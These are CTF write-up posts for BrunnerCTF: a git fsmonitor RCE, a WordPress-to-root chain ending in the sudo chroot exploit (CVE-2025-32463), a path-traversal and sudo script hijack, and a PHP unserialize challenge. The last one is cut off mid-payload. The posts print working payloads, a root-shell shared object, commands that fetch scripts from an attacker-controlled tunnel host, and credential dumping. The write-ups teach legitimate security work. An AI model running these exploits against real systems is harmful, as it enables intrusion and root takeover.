Yogeshwar Peela — Sun, 23 Aug 2026 15:30:56 +0000

Summary

A Flask web app accepts a .tar upload of a "git repository" and runs git status
and git log against it to display commit stats. Because the tar is extracted with
no validation and real git commands are then executed against the result,
an attacker can upload a tar containing a crafted .git/config that sets
core.fsmonitor to an arbitrary shell command. Git executes that command
automatically when git status runs, giving server-side code execution as the
web app user.

Since the app only surfaces stderr on a failed git call, the output is exfiltrated
by having the hook touch a file named after the flag contents in the working
directory. Git's own untracked-file scan picks it up and returns the filename
directly in the JSON response under status[].path, leaking the flag without
needing any error path or out-of-band channel.

Challenge

A Flask app lets you upload a .tar of a "git repository," then hits
/stats/<id> to render commit stats (git log) and unstaged changes
(git status) for it.

def untar_to_dir(tar_path, dest_root):
    os.makedirs(dest_root, exist_ok=True)
    p = subprocess.run(["tar", "-xf", tar_path, "-C", dest_root], ...)
    return p.returncode == 0
...
status_out, err = run_git_command(["status", "--porcelain"], repo_dir)
log_out, err = run_git_command(["log", "--numstat", ...], repo_dir)

The tar is extracted with no validation of its contents, then real
git commands are run directly against whatever ended up on disk.

Vulnerability

Nothing stops an uploaded tar from containing its own .git/config.
Git supports a config key, core.fsmonitor, that can be set to an
arbitrary shell command - when set, that command is executed by git
itself as soon as a command like git status runs (it's meant to be
a hook into a filesystem-watcher daemon, but git will happily run
anything you put there). This is a well-documented primitive (see the
2022 justCTF "buried bare repos and fsmonitor abuses" writeup).

So: upload a tar containing a crafted .git/ directory → server
extracts it → server runs git -C <dir> status --porcelain on it →
our core.fsmonitor command executes server-side.

Building the payload

git init -q repo && cd repo
git config user.email "a@a.com"
git config user.name "a"

# need at least one commit, otherwise the app's later `git log` call
# fails first and the response never gets built
echo "hello" > readme.txt
git add readme.txt
git commit -q -m "init"

# the RCE primitive
git config core.fsmonitor 'FLAG=$(find / -maxdepth 4 -xdev -type f -iname flag.txt -not -path "/proc/*" -not -path "/sys/*" -exec cat {} \; 2>/dev/null | head -c 200 | tr -d "\n"); touch -- "./LEAK_${FLAG}" 2>/dev/null; true'

rm -f .git/hooks/*.sample
tar -cf ../payload.tar .git

Exfil trick: the app only surfaces stderr when the git
subprocess itself fails (returncode != 0), and a failing fsmonitor
hook doesn't make git status fail - git just falls back to a normal
scan. So instead of trying to leak via stderr, the hook finds the
flag file and touches a new file in the working directory named
LEAK_<flag contents>. Git's own untracked-file scan (which runs
right after the hook) picks that file up, and its path - the flag
itself - comes straight back out in the JSON response.

Exploitation

curl -s -F "file=@payload.tar;filename=payload.tar" \
  https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/upload
# {"id":"d05777e9...","message":"Git repo uploaded and saved"}

curl -s https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/stats/d05777e9...

Response:

{
  "commits": [...],
  "status": [
    {"index": " ", "worktree": "D", "path": "readme.txt", "old_path": null},
    {"index": "?", "worktree": "?", "path": "LEAK_brunner{1_gu355_u_g0t_g00d_huh?}", "old_path": null}
  ]
}

Flag lands directly in status[].path.

Root cause

Trusting untrusted archive contents as a real git repository and
running git commands against them. .git/config is
attacker-controlled data, and several of its keys (core.fsmonitor,
core.pager, hooks, etc.) are effectively command execution.

Fix

Never run git (or any tool with config-driven command execution) against an untrusted, user-supplied directory.
If repo stats are genuinely needed from untrusted uploads, parse the git object format directly (e.g. with a pure library like dulwich/go-git in a sandboxed mode) rather than shelling out to the real git binary.
At minimum, strip/reject any uploaded .git/config, .git/hooks/, and set GIT_CONFIG_NOSYSTEM=1 plus explicit -c core.fsmonitor=false -c core.hooksPath=/dev/null on every invocation, and run inside a locked-down sandbox (no filesystem access beyond the repo dir).

BrunnerCTF : WordPressed to Root Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:20:37 +0000

Overview

The box ships a mostly-stock WordPress 7.0.0 install on PHP 8.2 / Apache, running on a Debian Trixie base image, packaged as a Docker/Kubernetes challenge deployment. Initial access comes through a deliberately vulnerable plugin (wp2shell) that hands over a www-data shell. Privilege escalation is the real puzzle: the box is hardened against the usual container-escape and SUID tricks, and the intended path is a real, recent CVE in sudo itself.

Recon

The challenge source was distributed as a zip (boot2root_wordpressed-to-root.zip) containing the Docker build context:

.
├── docker
│   ├── entrypoint.sh
│   ├── install.php
│   └── seed.php
├── docker-compose.yml
├── Dockerfile
└── theme
    └── brunnerne-docs
        ├── footer.php
        ├── functions.php
        ├── header.php
        ├── index.php
        └── style.css

Dockerfile pins the interesting versions:

FROM wordpress:7.0.0-php8.2-apache@sha256:0b6e5bf0ed2518696a34ba3812370743b0ad3e2676882967ff5c712e51425c03 AS wordpress-source
FROM debian:trixie-20240408-slim@sha256:70955dce615f114142818e95339f6ae9b461cf424d79d59ca2b04ec725d4dbc8
...
apache2 ca-certificates curl gcc libc6-dev libapache2-mod-php8.2 \
php8.2 php8.2-curl php8.2-gd php8.2-mbstring php8.2-mysql php8.2-xml php8.2-zip sudo

Two details stand out immediately:

gcc and libc6-dev are installed in the runtime image, not just a build stage. That is a strong hint that compiling a local privilege-escalation PoC on-box is part of the intended path.
sudo is installed, which combined with the previous point points straight at a sudo local-root bug rather than a container escape.

docker-compose.yml also leaks the DB credentials up front (default WordPress dev creds - not the actual privesc path, but useful context):

MARIADB_DATABASE: wordpress
MARIADB_USER: wordpress
MARIADB_PASSWORD: wordpress
MARIADB_ROOT_PASSWORD: rootpassword

docker/entrypoint.sh is the key file for understanding the box's behavior at runtime. On first boot it generates a random WordPress admin account and exports the credentials into the container's environment:

install_wordpress() {
    admin_user="brunnerne_$(openssl rand -hex 6)"
    admin_password="$(openssl rand -hex 24)"
    export BRUNNERNE_ADMIN_USER="$admin_user"
    export BRUNNERNE_ADMIN_PASSWORD="$admin_password"
    ...
}

Because these are exported rather than passed only to the one-off install script, they end up in the environment of every child process spawned afterward - including the Apache/PHP workers. That is the loose thread that eventually pays off (see "Credential and secret hunting" below).

The theme directory brunnerne-docs is deliberately excluded from the chown www-data:www-data sweep the entrypoint runs:

find /var/www/html \
    -path /var/www/html/wp-content/themes/brunnerne-docs -prune \
    -o -exec chown www-data:www-data {} +

That makes the theme files root-owned but still world-readable - a natural place to go looking for a root-owned/root-executed hook once you have a foothold, though in this run it turned out to be a red herring (no exploitable eval/system/file-write calls were found in functions.php).

Initial Access - `wp2shell-poc` (CVE-2026-63030 & CVE-2026-60137)

WordPress 7.0.0 is in scope for a real, recent chain. Icex0/wp2shell-poc is a public PoC (not bundled with the challenge - pulled down separately) for an unauthenticated SQL injection in WordPress core that escalates to full RCE:

CVE-2026-63030 - unauthenticated blind SQL injection via REST batch route confusion. The /wp-json/batch/v1 endpoint dispatches several sub-requests in one call, tracking the matched handler and the validation result in two parallel arrays indexed by offset. A sub-request whose path fails wp_parse_url() gets appended to the validation array but not the handler array, so the arrays desync and a sub-request ends up dispatched under a different sub-request's handler. Nesting the primitive twice bypasses both the REST method allow-list and parameter validation, landing an attacker-controlled string (author_exclude, taken from the users schema but resolved against WP_Query) directly in a SQL query as author__not_in - reachable pre-auth. Affects WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2), which lines up exactly with the wordpress:7.0.0-php8.2-apache base image in the Dockerfile.
CVE-2026-60137 - the second half of the chain, used for the post-exploitation RCE step once admin credentials are recovered from the SQLi.

Usage against the target:

./wp2shell.py check http://target                       # confirm the injection (time-based, safe)
./wp2shell.py read http://target --preset users          # dump user_login / user_pass hashes
./wp2shell.py shell http://target --user admin --password '<recovered>' -i   # plugin-upload RCE

read --preset users pulls the admin password hash straight out of the database via the blind SQLi; once that hash is cracked, shell uses the recovered plaintext to log in and drop a plugin webshell for command execution. Running the shell step against the target produced a working reverse shell as www-data:

You have a working reverse shell as www-data (via the wp2shell plugin) inside the challenge container.
The flag is at /root/flag (mode 0600, owned by root).

The landing directory in the shell confirms the plugin-upload delivery described in the PoC:

www-data@...:/var/www/html/wp-content/plugins/wp2shell_72662939$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumeration as www-data

Standard low-priv enumeration came back mostly clean - this box does not want you finding a lazy SUID binary or a writable cron job:

SUID set: only the standard sudo, su, mount, passwd, etc. Nothing custom.
getcap -r / 2>/dev/null - empty, no interesting capabilities.
No world-writable root-owned files.
No mysql client, no ping on the box.
Hostname pattern (...-global-9569b6b84-9jlvf) confirms this is a Kubernetes pod, but the service-account token path was empty - no in-cluster API abuse available.

root running point
sudo -V | head -5
Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5

sudo 1.9.15p5 is the number that matters - flagged below.

Credential and secret hunting

Since RCE was already available through PHP, I dumped WordPress secrets directly from the DB rather than trying to install a MySQL client:

php -r '
$m = new mysqli("db", "wordpress", "wordpress", "wordpress");
$r = $m->query("SELECT user_login, user_pass FROM wp_users");
while ($row = $r->fetch_assoc()) print_r($row);
'

That confirmed the WordPress-side admin account but didn't give a system credential. The actual find was in /proc/*/environ, where Apache worker processes still carried the admin credentials the entrypoint had exported at install time:

for p in /proc/[0-9]*; do
  [ -r "$p/environ" ] && { echo "===== $p ====="; tr '\0' '\n' < "$p/environ" | grep -E 'FLAG|PASS|BRUNNER|CHALLENGE|ROOT|SUDO'; }
done 2>/dev/null

===== /proc/180 =====
BRUNNERNE_ADMIN_USER=brunnerne_dd668ff1ff31
BRUNNERNE_ADMIN_PASSWORD=cbb69521526443f483730062259eb48efb35218a342d30f9

Tempting - but it's a dead end for sudo, since it's only the WordPress login, not a system account credential:

echo 'rootpassword' | sudo -S id   # MariaDB root password, wrong scope
echo 'wordpress'    | sudo -S id   # MariaDB app password, wrong scope
echo '' | sudo -S id               # empty, wrong

[sudo] password for www-data: Sorry, try again.
sudo: no password was provided
sudo: 1 incorrect password attempt

sudo -l without a valid password also refuses to reveal anything useful, and www-data has no sudoers entry to fall back on. At this point the box is confirmed to not be about credentialed sudo access - it's about the sudo binary itself.

Privilege Escalation - CVE-2025-32463 (`sudo` chroot / "chwoot")

sudo 1.9.15p5 falls in the vulnerable range for CVE-2025-32463, disclosed by Rich Mirch (Stratascale CRU) and affecting sudo 1.9.14 through 1.9.17. The --chroot/-R option was changed in 1.9.14 to resolve paths - including /etc/nsswitch.conf - from inside the user-supplied chroot directory before the sudoers policy has been evaluated. Since /etc/nsswitch.conf controls how the C library resolves NSS lookups (like passwd), pointing it at an attacker-controlled shared object gets that object dlopen()'d by the still-privileged sudo process. No sudoers entry and no valid password are required.

Steps:

Build a malicious NSS module whose constructor runs before main(), drops a root shell:

#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash", "bash", NULL);
}

Compile it as a shared object and stage a fake chroot directory pointing nsswitch.conf at it:

cd /tmp
mkdir -p woot/etc libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf
cp /etc/group woot/etc/

Trigger it with sudo -R:

sudo -R woot woot

Result:

$ sudo -R woot woot
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Root shell, confirmed by id. Grabbing the flag from there:

cd /root
ls
flag
cat flag
brunner{tw0_cv3s_0n3_r00t}

Root Cause Summary

Initial access: WordPress core unauthenticated blind SQL injection via REST batch route confusion (CVE-2026-63030), chained through recovered admin credentials into a plugin-upload RCE (CVE-2026-60137) - wp2shell-poc end to end, giving unauthenticated-to-www-data RCE.
Privilege escalation: sudo 1.9.15p5 is vulnerable to CVE-2025-32463 - the -R/--chroot option lets any local user (no sudoers entry, no password) get sudo to load an attacker-controlled NSS shared library from inside a self-supplied chroot, running arbitrary code as root.
Fix: upgrade to sudo >= 1.9.17p1, where the premature chroot path resolution is reverted and --chroot is deprecated outright.

Lessons

Always check sudo -V (and any other privileged binary's version) early and cross-reference against recent CVEs before reaching for generic/combined LPE scripts - the version string was available from the first minute on the box.
gcc/libc6-dev being present in a runtime image is a strong signal the intended path involves compiling something on-target.
Leaking install-time secrets via export in an entrypoint script is a realistic misconfiguration pattern worth checking /proc/*/environ for on any box with RCE, even when the leaked credential itself turns out to be the wrong scope.

BrunnerCTF : Bink Ink Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:11:20 +0000

Summary

The challenge exposes a firmware update service ("Bink ink update tool v1.0.5") running as
brunner_operator inside a Debian container, reachable only through a Squid proxy. The tool
accepts text commands — get, verify, list, etc. — over a raw TCP socket wrapped by socat.

Two vulnerabilities chain together to give full root:

Path traversal in get - the firmware query parameter is passed directly to
os.path.join with no sanitisation, allowing ../../../../ sequences to write
arbitrary files anywhere brunner_operator has write access.
Privileged script trusts user-writable script - bink_ink_apply.sh runs as root
via sudo but calls back into /home/brunner_operator/bink_ink_verify.sh for its
"signature check" step. Since brunner_operator owns that file, overwriting it turns
the signature check into arbitrary root code execution.

The exploit overwrites bink_ink_verify.sh with a malicious version that bypasses the
signature check and triggers bink_ink_apply.sh (via the existing sudo rule) to apply a
crafted squashfs that drops a new sudoers rule onto the container's root filesystem.
Once that rule is live, sudo cat /root/flag_root.txt is permitted and both flags are
printed inline in the same HTTP response.

Environment (from source zip)

The challenge ships a single Docker container built on Debian. Here is the full
picture of what is running inside before we touch anything.

Dockerfile

FROM debian@sha256:fac46bff2e02f51425b6e33b0e1169f55dfb053d83511ca28aa50c09fd5ed7a4

RUN apt-get update && apt-get install -y \
    squashfs-tools python3-requests openssl tar socat squid sudo supervisor

RUN useradd -m -s /bin/bash brunner_operator

COPY etc /etc
COPY bin /bin

RUN chmod 755 /bin/bink_ink_update_tool.py
RUN chmod 755 /bin/bink_ink_apply.sh

COPY brunner_operator /home/brunner_operator
RUN chown brunner_operator:brunner_operator /home/brunner_operator/bink_ink_verify.sh
RUN chmod +x /home/brunner_operator/bink_ink_verify.sh

COPY flag_root.txt /root          # chmod 400 - root-readable only
COPY flag_user.txt /home/brunner_operator  # chmod 444 - world-readable

RUN echo "brunner_operator ALL=(root) NOPASSWD: /bin/bink_ink_apply.sh" >> /etc/sudoers

EXPOSE 8000
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]

Key observations at a glance:

brunner_operator has one sudo rule: /bin/bink_ink_apply.sh - nothing else
bink_ink_verify.sh is owned by brunner_operator - user-writable
flag_root.txt is chmod 400 - only root can read it directly
flag_user.txt is chmod 444 - world-readable (it is handed out as soon as we get code exec)

Process layout (supervisord.conf)

[supervisord]
nodaemon=true
user=root

[program:squid]
command=squid -N -d 1
user=root
autorestart=true

[program:bink_ink_update_tool]
command=socat tcp-l:30005,bind=127.0.0.1,reuseaddr,fork \
        exec:"/bin/bink_ink_update_tool.py",pty,echo=0,raw,iexten=0
user=brunner_operator
autorestart=true

squid runs as root and listens on port 8000 (exposed externally)
bink_ink_update_tool.py runs as brunner_operator, bound to 127.0.0.1:30005 via socat - only reachable through the proxy

Squid config (squid.conf)

http_port 8000
acl CONNECT_method method CONNECT
http_access deny CONNECT_method            # no HTTPS tunnelling
acl allowed_ports port 30000-50000
http_access allow allowed_ports
http_access deny all

CONNECT is blocked (no blind HTTPS tunnelling). Only ports 30000–50000 are
reachable through the proxy. The update tool on 127.0.0.1:30005 falls inside
that range and is the intended target.

Firmware version & public key

v2.3.4

-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAWHh3cLSkUXdyVIpA3FG6nU18ok4BI0QQhBMj5PdhHa8=
-----END PUBLIC KEY-----

Ed25519 public key used by bink_ink_verify.sh for signature checking - we will
bypass this entirely by overwriting the script before verification runs.

Source code walkthrough

`bink_ink_update_tool.py` (runs as `brunner_operator`)

The command loop reads one line from stdin and dispatches:

Command	Function
`get`	Download firmware from URL
`verify`	Run `bink_ink_verify.sh` on a local file
`apply`	Disabled ("Feature is disabled. Please contact support.")
`list`	List files in `/tmp/firmwares/`
`version`	Print `/etc/bink_ink_version`
`license`	Print `/etc/bink_ink_license`
`help`	Print command list

get - the vulnerable function:

FIRMWARE_DOWNLOAD_PATH = "/tmp/firmwares"

def download_file(path):
    parsed = urlparse(path)
    params = parse_qs(parsed.query)
    fw_name = params["firmware"][0]          # ← taken raw from query string

    r = requests.get(path)

    fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)   # ← no sanitisation
    with open(fw_path, "wb") as f:
        f.write(r.content)

os.path.join("/tmp/firmwares", "../../../../home/brunner_operator/bink_ink_verify.sh")
resolves to /home/brunner_operator/bink_ink_verify.sh. No .. stripping, no
realpath check, no allowlist - a direct arbitrary file write as brunner_operator.

verify - how it triggers our script:

def verify(firmware_file):
    real_path = os.path.realpath(os.path.join(FIRMWARE_DOWNLOAD_PATH, firmware_file))
    if not real_path.startswith(FIRMWARE_DOWNLOAD_PATH) or not os.path.isfile(real_path):
        print("Invalid path")
        return

    ret = subprocess.run(["/home/brunner_operator/bink_ink_verify.sh", firmware_file])

verify does check that the target file is inside /tmp/firmwares/ - but it
calls bink_ink_verify.sh unconditionally, and that script is the one we just
overwrote. The firmware_file argument here is just the plain filename (pwn.tar),
with no path separator, which is important later.

`bink_ink_verify.sh` (original, owned by `brunner_operator`)

#!/bin/bash
set -euo pipefail

TAR_FILE="$1"
PUB_KEY="/etc/bink_ink_fw_public_key.pem"
WORKDIR="$(mktemp -d)"

tar xf "$TAR_FILE" -C "$WORKDIR"

if openssl pkeyutl -verify -pubin -inkey "$PUB_KEY" \
  -in "$WORKDIR/firmware.bin" \
  -sigfile "$WORKDIR/signature.sig" \
  -rawin 2>/dev/null; then
  rm -rf "$WORKDIR"
  exit 0
else
  rm -rf "$WORKDIR"
  exit 1
fi

Verifies an Ed25519 signature over firmware.bin using the public key at
/etc/bink_ink_fw_public_key.pem. Because brunner_operator owns this file,
we can replace it entirely.

`bink_ink_apply.sh` (root-owned, runs as root via sudo)

#!/bin/bash
set -euo pipefail

VERIFY=/home/brunner_operator/bink_ink_verify.sh

WORKDIR="$(mktemp -d)"
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT

tar -xf "$TARBALL" -C "$WORKDIR"

FIRMWARE="$WORKDIR/firmware.bin"

echo "[*] Verifying firmware signature"
if ! "sudo" "-u" "$SUDO_USER" "$VERIFY" "$TARBALL"; then
    echo "Error: firmware verification failed, aborting"
    exit 1
fi

echo "[*] Verification succeeded, applying updated firmware to /"
unsquashfs -f -d / "$FIRMWARE"

This is the privileged escalation path:

Runs as root (called via sudo /bin/bink_ink_apply.sh)
Calls back into $VERIFY - which is /home/brunner_operator/bink_ink_verify.sh (user-writable!)
If verify exits 0, applies the squashfs directly to / as root

$SUDO_USER is set to brunner_operator by sudo, so the verify callback runs
as brunner_operator. The $TARBALL argument passed to the callback is the full
path /tmp/firmwares/pwn.tar - it contains a /. We exploit this to distinguish
the recursive call from the direct call.

Attack Chain

Step 0 - Reaching the service

The tool is only accessible via the Squid proxy. We send our commands by cramming
them into the HTTP body with --data-binary. The proxy ignores the HTTP headers
and the update tool sees only our \n-terminated command line.

BASE="curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H 'Connection: close'"

Step 1 - Expose a local HTTP server

The target container fetches firmware by making outbound HTTP requests. We tunnel
our local Python server through bore to get a reachable URL:

python3 -m http.server 8000
/root/.cargo/bin/bore local 8000 --to bore.pub
# → listening at bore.pub:50014

Step 2 - Build the malicious `bink_ink_verify.sh`

#!/bin/bash
cat /home/brunner_operator/flag_user.txt 2>/dev/null

# bink_ink_apply.sh calls us with the full tarball path (contains /)
# detect that and exit 0 to pass the "signature check"
if [[ "$1" == */* ]]; then
    exit 0
fi

# direct call from update tool: run the full exploit
sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
sudo cat /root/flag_root.txt 2>/dev/null
exit 0

Step 3 - Build the squashfs payload (`pwn.tar`)

The squashfs is what bink_ink_apply.sh writes to / after our fake
signature check passes. We put a sudoers drop-in inside it that grants
brunner_operator permission to sudo cat:

mkdir -p squash/etc/sudoers.d
echo "brunner_operator ALL=(root) NOPASSWD: /bin/cat" \
    > squash/etc/sudoers.d/pwn
chmod 440 squash/etc/sudoers.d/pwn

mksquashfs squash firmware.bin -noappend -comp xz
echo -n "FAKESIG123" > signature.sig   # dummy - verify is bypassed
tar -cf pwn.tar firmware.bin signature.sig

Step 4 - Upload everything via path traversal

Overwrite bink_ink_verify.sh:

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/bink_ink_verify.sh?firmware=../../../../home/brunner_operator/bink_ink_verify.sh\n' \
  http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in
# /tmp/firmwares/../../../../home/brunner_operator/bink_ink_verify.sh

Upload pwn.tar to /tmp/firmwares/:

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/pwn.tar?firmware=pwn.tar\n' \
  http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in /tmp/firmwares/pwn.tar

Step 5 - Trigger `verify` and collect both flags

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'verify pwn.tar\n' \
  http://127.0.0.1:30005/

Full output:

Verifying firmware, please wait..
brunner{Y0u_B1nk3d_th4t_1nk!!}            ← user flag
[*] Unpacking update into /tmp/tmp.C9oqfksBbV
[*] Verifying firmware signature
brunner{Y0u_B1nk3d_th4t_1nk!!}            ← our script exits 0 (recursive call)
[*] Verification succeeded, applying updated firmware to /
Parallel unsquashfs: Using 16 processors
1 inodes (1 blocks) to write
created 1 file
created 3 directories
[*] Firmware applied successfully
brunner{d0nt_have_hi_priv_scr1pts_th4t_bl1ndly_tru5t_l0w_pr1v_scr1pt5}   ← root flag
Verification of firmware file pwn.tar, success!!

Execution flow diagram

verify pwn.tar (update tool)
  └─ subprocess: bink_ink_verify.sh pwn.tar          [as brunner_operator]
       ├─ cat flag_user.txt                           → user flag printed
       ├─ "$1" = "pwn.tar" (no slash) → full path
       ├─ sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
       │    ├─ tar -xf → extracts firmware.bin + signature.sig
       │    ├─ sudo -u brunner_operator bink_ink_verify.sh /tmp/firmwares/pwn.tar
       │    │    └─ "$1" contains "/" → exit 0        (fake signature pass)
       │    └─ unsquashfs -f -d / firmware.bin        [as root]
       │         └─ writes /etc/sudoers.d/pwn to container root fs
       └─ sudo cat /root/flag_root.txt                → root flag printed
            (sudoers.d/pwn now in place → permission granted)

Root Cause

Two mistakes compounding each other:

1. No path sanitisation in get

fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)

os.path.join does not strip .. components. Fix: call os.path.realpath and
assert it starts with FIRMWARE_DOWNLOAD_PATH, or strip everything except the
basename with os.path.basename(fw_name).

2. A root-level script unconditionally trusts a user-writable script

bink_ink_apply.sh (root, sudoable) hardcodes VERIFY=/home/brunner_operator/bink_ink_verify.sh
and executes it as part of a privileged workflow. Because brunner_operator owns
that file, any code-exec as that user becomes root. Fix: move the verify script to
a root-owned, immutable path (/usr/lib/bink/verify.sh) and perform signature
checking entirely within the privileged script using a root-owned key store.

BrunnerCTF - php-2003 Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:04:10 +0000

Summary

A "Brunnerne Hosting" customer portal exposed a legacy reservation import form that fed
user-controlled, base64-encoded data into unserialize(). Getting a flag required chaining
three independent bypasses baked into the same handler:

A hidden legacy CGI compatibility check gated behind a Unicode soft-hyphen substitution trick in the query string.
A PHP "magic hash" type-juggling bypass on a loose (!=) MD5 comparison for the staff PIN.
A duplicate-property trick against a regex-based sanity check on the serialized payload, so the app's own validation saw role=guest while PHP's unserialize() actually set role=admin.

Landing all three let us build a Booking object with role=admin and a Receipt object
wrapping a Voucher object. The server itself flips Receipt::$flushOnShutdown = true and then
unset()s the booking, triggering Receipt::__destruct(), which stringifies the Voucher and
echoes the flag.

Flag: brunner{php_was_a_web_framework_and_a_fever_dream}

Recon

Base page is a retro "Brunnerne Hosting" customer portal with a single POST form:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz

<div class="panel-title">Reservation import</div>
<p class="intro">The original booking system is no longer in service. Staff can restore a
customer reservation from an exported booking file.</p>
<form method="post">
    <label>Staff recovery code</label>
    <input name="staff_pin" autocomplete="off">
    <label>Reservation export</label>
    <textarea name="reservation_export" rows="7" spellcheck="false"></textarea>
    <button type="submit">Import reservation</button>
</form>

Two inputs (staff_pin, reservation_export) - textarea + "export" language screams
serialize/base64 blob. Checked robots.txt on a hunch, since old-school portals like this often
disallow stray debug paths:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/robots.txt

User-agent: *
Disallow: /cgi-bin/
Disallow: /stats/
Disallow: /webmail/
Disallow: /private/
Disallow: /index.phps

index.phps is the interesting one - Apache's legacy PHP source-highlighting handler serves
.phps files as syntax-highlighted plaintext instead of executing them. Full source disclosure,
handed over for free:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/index.phps

Source review

Stripped of HTML syntax highlighting, the relevant PHP:

const ACCESS_CODE_HASH = '0e769468064680399918991535722650';

final class Voucher {
    public function __toString(): string {
        return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
    }
}

final class Receipt {
    public bool $flushOnShutdown = false;
    public mixed $voucher = null;

    public function __destruct() {
        if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
            $flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
            echo '<div class="result flag">' . $flag . '</div>';
        }
    }
}

final class Booking {
    public string $user = '';
    public string $role = 'guest';
    public mixed $receipt = null;
}

function legacy_cgi_request(): bool {
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);
    if (str_contains($decoded, '-')) {
        return false;
    }
    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}

function first_serialized_string(string $serialized, string $property): ?string {
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';
    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }
    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}

Handler logic (POST path):

if (!legacy_cgi_request())                                       -> "reservation service unavailable"
elseif (md5($staffPin) != ACCESS_CODE_HASH)                       -> "recovery code rejected"
elseif ($reservation === false)                                   -> "reservation export rejected"
elseif (first_serialized_string($reservation, 'role') !== 'guest')-> "only customer reservations can be imported"
else {
    $booking = @unserialize($reservation, [
        'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
    ]);
    if (!$booking instanceof Booking)                             -> "could not be read"
    elseif ($booking->role !== 'admin')                           -> "staff reservation required"
    elseif (!$booking->receipt instanceof Receipt)                -> "receipt missing"
    else {
        $booking->receipt->flushOnShutdown = true;
        $destroyBooking = $booking;
        // ... later: unset($destroyBooking); unset($booking);
    }
}

The vulnerability class is textbook PHP object injection with a whitelisted allowed_classes
array - no arbitrary class gadget hunting needed, the app hands you the exact three classes it
wants populated. The interesting part is that every gate is independently bypassable by abusing
PHP/HTTP quirks rather than logic flaws in the business rules themselves.

Gate 1: legacy_cgi_request() - soft hyphen bypass

The check wants the raw query string, after urldecode(), to equal -d webhotel.legacy=1 -
but it explicitly rejects any decoded string containing a literal - before it does a
str_replace("\u{00AD}", '-', ...) substitution. \u{00AD} is the Unicode soft hyphen
(U+00AD, UTF-8 bytes 0xC2 0xAD), a distinct codepoint from ASCII hyphen-minus (0x2D).

So: send the soft hyphen instead of a real hyphen. It passes the blocklist (no literal -
present), then gets rewritten to - by the app itself, satisfying the final string comparison.

GET /?%C2%ADd%20webhotel.legacy=1

Verified locally before firing at the target:

function legacy_cgi_request(string $raw): bool {
    $decoded = urldecode($raw);
    if (str_contains($decoded, "-")) return false;
    $normalized = str_replace("\u{00AD}", "-", $decoded);
    return trim($normalized) === "-d webhotel.legacy=1";
}
var_dump(legacy_cgi_request("%C2%ADd%20webhotel.legacy=1"));
// bool(true)

Gate 2: staff_pin - magic hash

ACCESS_CODE_HASH is 0e769468064680399918991535722650 - an MD5 hash string that's entirely
digits after the 0e prefix. Compared with loose !=, PHP historically treats a string
matching ^0e[0-9]+$ as scientific notation and casts it to a float, so "0e123" == "0e456"
evaluates true (both cast to 0). This is the classic PHP "magic hash" bug.

Any string whose own MD5 also matches ^0e[0-9]+$ works, regardless of digits. Used the
well-known collision 240610708:

php -r 'echo md5("240610708");'
0e462097431906509019562988736854

var_dump(md5("240610708") != "0e769468064680399918991535722650");
// bool(false)  -> check passes

Gate 3: first_serialized_string() - duplicate property trick

This is the core trick of the challenge. The app runs a regex over the raw serialized string
before ever calling unserialize(), looking for the first s:4:"role";s:N:"value"; substring
and requiring value === 'guest'. But it also requires the actual deserialized object to have
$booking->role === 'admin'.

PHP's unserialize() builds objects by processing key/value pairs in order and assigning them
to properties as it goes - if the same property name appears twice in one object's serialized
data, the last occurrence wins, silently overwriting the earlier one. The property count N
in O:7:"Booking":N:{...} just needs to match the total number of key/value pairs, duplicates
included.

So the payload declares role twice:

s:4:"role";s:5:"guest";   <- first occurrence, satisfies the regex pre-check
...
s:4:"role";s:5:"admin";   <- later occurrence, wins in the actual object

Built and validated locally with real copies of the three classes:

$payload = 'O:7:"Booking":4:{'
    . 's:4:"user";s:0:"";'
